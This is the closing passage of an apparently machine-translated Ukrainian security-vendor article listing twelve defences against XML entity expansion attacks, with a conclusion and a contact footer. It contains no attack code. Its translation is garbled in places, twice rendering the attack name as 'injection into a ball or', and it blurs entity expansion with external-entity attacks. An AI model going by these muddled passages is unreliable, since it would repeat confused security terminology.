  1. Виберіть аналізатор XML, який має безпечні значення за замовчуванням і налаштований на заборону розширення зовнішніх об'єктів за замовчуванням.

  2. Вимкніть розширення зовнішніх сутностей в конфігурації аналізатора XML або глобально, або для конкретних додатків.

  3. Вбудуйте належні методи перевірки та фільтрації вхідних даних, щоб гарантувати, що користувальницький введення не містить шкідливого XML-коду.

  4. Вбудуйте перевірку схеми XML, щоб переконатися, що XML-документи відповідають певною схемою, і відхиліть все, що не відповідає.

  5. Використовуйте параметризрвані запити при створенні XML-документів, щоб уникнути вбудовування користувальницького введення безпосередньо в XML-документ.

  6. Використовуйте білий список відомих безпечних об'єктів XML і забороняйте будь-які інші об'єкти.

  7. Очистіть користувальницький введення, щоб видалити будь потенційно шкідливий вміст, такий як XML-об'єкти і теги.

  8. Оновлюйте все програмне забезпечення та бібліотеки, які використовують аналізатори XML, за допомогою останніх виправлень безпеки.

  9. Обмежте дозволу файлової системи сервера, на якому розміщені XML-документи, щоб обмежити доступ до конфіденційних файлів.

  10. Вбудуйте елементи керування доступом для обмеження доступу до XML-документів на основі ролей і привілеїв користувачів.

  11. Відстежуйте і реєструйте дії, пов'язані з XML-документами, для виявлення потенційних атак і реагування на них.

  12. Вбудуйте WAF, який може виявляти і блокувати атаки розширення сутності XML шляхом аналізу входять HTTP-запитів і відповідей.

Висновок

XML Entity Expansion (XEE) Injection це серйозна уразливість, яка може призвести до різних атак, включаючи крадіжку даних, відмова в обслуговуванні і навіть повну компрометацію системи. Вразливість виникає, коли аналізатор XML обробляє XML-документи, що містять зовнішні об'єкти, які можуть використовуватися для отримання конфіденційної інформації, виконання довільного коду або збою системи.

Для захисту від впровадження в м'яч або важливо використовувати безпечні синтаксичні аналізатори XML, відключати розширення зовнішніх сутностей, перевіряти вхідні дані, використовувати параметризрвані запити і реалізовувати елементи керування доступом. Крім того, підтримка програмного забезпечення в актуальному стані, обмеження прав доступу до файлів і моніторинг активності можуть допомогти у виявленні та запобіганні атак.

Також важливо, щоб розробники і фахівці з безпеки були обізнані про загальні методи атаки, інструментах та корисних навантажень, що використовуються при атаках з впровадженням в м'яч або, а також про заходи щодо пом'якшення наслідків, які можуть бути реалізовані для їх запобігання. Регулярне тестування і оцінка вразливостей можуть допомогти виявити і усунути уразливості в коді синтаксичного аналізу XML, а підвищення обізнаності може допомогти розробникам писати більш безпечний код.

Інші Послуги

Готові до безпеки?

зв'язатися з нами